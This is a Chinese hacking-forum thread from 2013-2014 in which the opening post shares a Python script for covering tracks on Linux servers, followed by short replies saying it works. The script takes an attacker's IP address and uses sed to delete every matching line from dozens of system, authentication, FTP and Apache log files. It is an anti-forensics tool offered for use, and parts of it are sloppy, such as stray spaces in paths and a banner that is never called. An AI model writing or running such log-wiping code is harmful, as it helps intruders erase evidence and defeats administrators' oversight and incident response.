切换风格

Wizard Sky California Sunset glow Black Cloud Beige Dragon Lavender NewYear City Snow Flowers London
收藏本站XSS平台字符串转换jsfuck
python写的清除Linux日志脚本[复制链接]
发表于 2013-1-23 02:25:29 | 显示全部楼层 |!read_mode!
#!/usr/bin/env python
import os , sys , subprocess
def banner():
        print '''
This is linux log clear script \n
                '''
try:
        host = sys.argv[1]
        if len(sys.argv) < 1:
                banner
        log = ["/var/log/messages","/var/log/messages.1","/etc/syslog.conf","/var/log/secure","/var/log/message","/var/log/lastlog","/var/log/auth.log","/var/log/vsftpd.log","/var/log/apache2/access.log","/var/log/apache2/error.log","/var/log/apache2/error.log.1","/usr/local/httpd/error.log","/apache/apache/message.log","/var/log/apache2/access_log","/var/log/apache2/error.log","/var/log/apache2/error_log ","/var/log/apache/access.log","/var/log/apache/access_log","/var/log/apache/error.log","/var/log/apache/error_log","/var/www/logs/error_log"," /var/www/logs/error.log"," /var/www/logs/access_log","/var/www/logs/access.log","/usr/local/apache/logs/error_log"," /usr/local/apache/logs/error.log","/usr/local/apache/logs/access_log","usr/local/apache/logs/access.log","/var/log/error_log","/var/log/error.log","/var/log/access_log","/var/log/access.log","/usr/local/apache/logs/error_logerror_log.old","/usr/local/apache/logs/access_logaccess_log.old","/var/log/access.log","/var/log/access_log","/usr/local/apache/logs/error_log","/usr/local/apache/logs/error.log","/usr/local/apache/logs/access.log","/var/log/messages.1","/var/log/messages.2","/var/log/messages.3","/var/log/messages.4","/var/log/secure.1","/var/log/secure.2","/var/log/secure.3","/var/log/secure.3","/var/log/secure.4"]
        for line in log:
                if os.path.exists(line):
                        subprocess.call("sed -i '/%s/d' %s" % (host , line),shell=True)
                        print "[+]: %s " % (line)
                else:
                        print "[-]: %s " % (line)
except Exception:
        banner()


今天看到这个清楚linux日志的脚本很有意思,可以把常用的日志路径都放进去— —!

操千曲而后晓声,观千剑而后识器。
发表于 2013-6-14 16:11:40 | 显示全部楼层
Python确实很方便,见识了。 不过要来回查手册,也是挺烦人的,还是不够熟练。加油。
发表于 2013-6-15 18:44:36 | 显示全部楼层
貌似有点小问题,楼主有没有测试过这段代码 ?
发表于 2013-6-15 21:27:50 | 显示全部楼层
dEMON_hUNTER 发表于 2013-6-15 18:44
貌似有点小问题,楼主有没有测试过这段代码 ?

嗯  有什么问题?会不会是因为环境有差异啊亲
发表于 2013-6-16 20:34:34 | 显示全部楼层
我测试过挺好用的呀。
发表于 2013-7-17 16:09:01 | 显示全部楼层
额,顶顶哈。
发表于 2014-4-29 22:05:20 | 显示全部楼层
回头试一下,应该行
发表于 2014-5-24 11:17:32 | 显示全部楼层
不错 看看喽 嘿嘿
发表于 2014-7-25 23:02:08 | 显示全部楼层
去试试看- -
发表于 2014-7-26 22:35:39 | 显示全部楼层
回去测试一下

代码区

GMT+8, 2019-11-20 00:13

Powered by Discuz! X2

© 2001-2018 Comsenz Inc.

回顶部